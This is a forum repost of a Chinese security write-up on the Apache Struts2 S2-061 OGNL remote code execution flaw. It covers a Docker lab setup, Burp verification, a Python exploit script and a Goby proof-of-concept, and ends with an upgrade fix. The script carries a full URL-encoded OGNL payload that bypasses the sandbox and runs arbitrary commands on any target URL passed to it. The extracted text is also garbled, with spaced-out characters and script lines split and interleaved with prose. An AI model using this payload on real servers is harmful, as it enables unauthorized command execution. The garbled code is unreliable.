搜索

[20410] 2020-12-15_Struts2-061自动化脚本的编写与GobyPOC编写

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-18
2020-12-15_Struts2-061自动化脚本的编写与GobyPOC编写 S t r u t s 2 - 0 6 1 自 动 化 脚 本 的 编 写 与 G o b y   P O C 编 写 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 1 5 以 下 文 章 来 源 于 洛 米 唯 熊   ， 作 者 J a k y 点 击 上 方 点 击 上 方 蓝 字 蓝 字 关 注 我 们 关 注 我 们 0 x 0 0 : 前 言 与 简 介 前 言 与 简 介 一 、 S 2 - 0 6 1 是 对 S 2 - 0 5 9 沙 盒 进 行 的 绕 过 漏 洞 二 、 “ 黑 客 ” 就 通 过 构 造 恶 意 的   O G N L   表 达 式 , 引 发   O G N L   表 达 式 二 次 解 析 , 最 终 造 成 远 程 代 码 执 行 的 影 响 . 0 x 0 1 : 影 响 版 本 影 响 版 本 A p a c h e : S t r u t s 2   :   2 . 0 . 0   -   2 . 5 . 2 5 0 x 0 2 : 环 境 的 搭 建 环 境 的 搭 建 采 用 的 环 境 项 目 地 址 ： 利 用 D o c k e r 进 行 快 速 的 搭 建 洛 米 唯 熊 洛 米 唯 熊   . 未 知 攻 ， 焉 知 防 。 攻 防 兼 容 ， 方 知 安 全 h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / s t r u t s 2 / s 2 - 0 6 1
利 用 B u r p 请 求 验 证 漏 洞 E X P 源 自 网 络 ： 漏 洞 验 证 完 毕 变 更 请 求 方 法 h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / t r e e / m a s t e r / s t r u t s 2 / s 2 - 0 6 1
验 证 成 功 0 x 0 3 : P y t h o n   脚 本 的 编 写 脚 本 的 编 写 构 造 一 个 r e q u e s t s 的 G e t 请 求 即 可 , 最 后 在 利 用 正 则 筛 选 出 命 令 执 行 的 结 果 . 完 整 代 码 如 下 # ! / u s r / b i n / p y t h o n 3   # a u t h o r : J a k y   # 微 信 公 众 号 : 洛 米 唯 熊 i m p o r t   r e q u e s t s , s y s , r e i f   l e n ( s y s . a r g v ) < 3 :                 p r i n t ( " [ + ] U s e :   p y h t o n 3   s 2 - 0 6 1 . p y   h t t p : / / i p : p o r t   c o m m a n d " )                 p r i n t ( " [ + ] E x p l a i n :   洛 米 唯 熊 " )
效 果 图 效 果 图 0 x 0 4 : G o b y   P O C 编 写 编 写 一 、 G o b y 自 带 的 p o c 开 发 界 面 二 、 填 写 相 应 的 信 息                 p r i n t ( " [ + ] E x p l a i n :   洛 米 唯 熊 " )                 p r i n t ( " [ + ] = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = " )                 s y s . e x i t ( ) d e f   J a k y ( ) :         p a y l o a d = " % 2 5 % 7 b ( % 2 7 P o w e r e d _ b y _ U n i c o d e _ P o t a t s 0 % 2 c e n j o y _ i t % 2 7 ) . ( % 2 3 U n i c o d e S e c + % 3 d + % 2 3 a p p l i c a t i o n % 5 b % 2 7 o r g . a p a c h e . t o m c a t . I n s t a n c e M a n a g e r % 2 7 % 5 d ) . ( % 2 3 p o t a t s 0 % 3 d % 2 3 U n i c o d e S e c . n e w I n s t a n c e ( % 2 7 o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . B e a n M a p % 2 7 ) ) . ( % 2 3 s t a c k v a l u e % 3 d % 2 3 a t t r % 5 b % 2 7 s t r u t s . v a l u e S t a c k % 2 7 % 5 d ) . ( % 2 3 p o t a t s 0 . s e t B e a n ( % 2 3 s t a c k v a l u e ) ) . ( % 2 3 c o n t e x t % 3 d % 2 3 p o t a t s 0 . g e t ( % 2 7 c o n t e x t % 2 7 ) ) . ( % 2 3 p o t a t s 0 . s e t B e a n ( % 2 3 c o n t e x t ) ) . ( % 2 3 s m % 3 d % 2 3 p o t a t s 0 . g e t ( % 2 7 m e m b e r A c c e s s % 2 7 ) ) . ( % 2 3 e m p t y S e t % 3 d % 2 3 U n i c o d e S e c . n e w I n s t a n c e ( % 2 7 j a v a . u t i l . H a s h S e t % 2 7 ) ) . ( % 2 3 p o t a t s 0 . s e t B e a n ( % 2 3 s m ) ) . ( % 2 3 p o t a t s 0 . p u t ( % 2 7 e x c l u d e d C l a s s e s % 2 7 % 2 c % 2 3 e m p t y S e t ) ) . ( % 2 3 p o t a t s 0 . p u t ( % 2 7 e x c l u d e d P a c k a g e N a m e s % 2 7 % 2 c % 2 3 e m p t y S e t ) ) . ( % 2 3 e x e c % 3 d % 2 3 U n i c o d e S e c . n e w I n s t a n c e ( % 2 7 f r e e m a r k e r . t e m p l a t e . u t i l i t y . E x e c u t e % 2 7 ) ) . ( % 2 3 c m d % 3 d % 7 b % 2 7 "         u r l = s y s . a r g v [ 1 ] + " / i n d e x . a c t i o n ? i d = " + p a y l o a d         r = r e q u e s t s . g e t ( u r l ) . t e x t         z = r e . f i n d a l l ( " a   i d = . * " , r )         p r i n t   ( s t r ( z ) . r e p l a c e ( " a   i d = " " , " " ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : J a k y ( )
三 、 在 测 试 界 面 填 写 入 上 面 的 G e t 成 功 的 p a y l o a d
响 应 测 试 填 写 入 的 是 响 应 包 ， 我 们 需 要 的 是 得 到 什 么 信 息 。 我 这 里 测 试 的 命 令 是 “ I D ” . 所 以 我 利 用 正 则 的 匹 配 获 取 U I D 的 信 息 。 四 、 环 境 测 试 五 、 做 扫 描 测 试
六 、 接 下 来 就 可 以 利 用 公 开 的 e x p 进 行 攻 击 了 （ 未 授 权 网 站 禁 止 攻 击 ， 后 果 自 负 ） （ 未 授 权 网 站 禁 止 攻 击 ， 后 果 自 负 ） 0 x 0 5 : 修 复 方 案 修 复 方 案 及 时 更 新 A p a c h e   S t r u t s 框 架 版 本 ： h t t p s : / / s t r u t s . a p a c h e . o r g / d o w n l o a d . c g i # s t r u t s 2 5 2 6
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理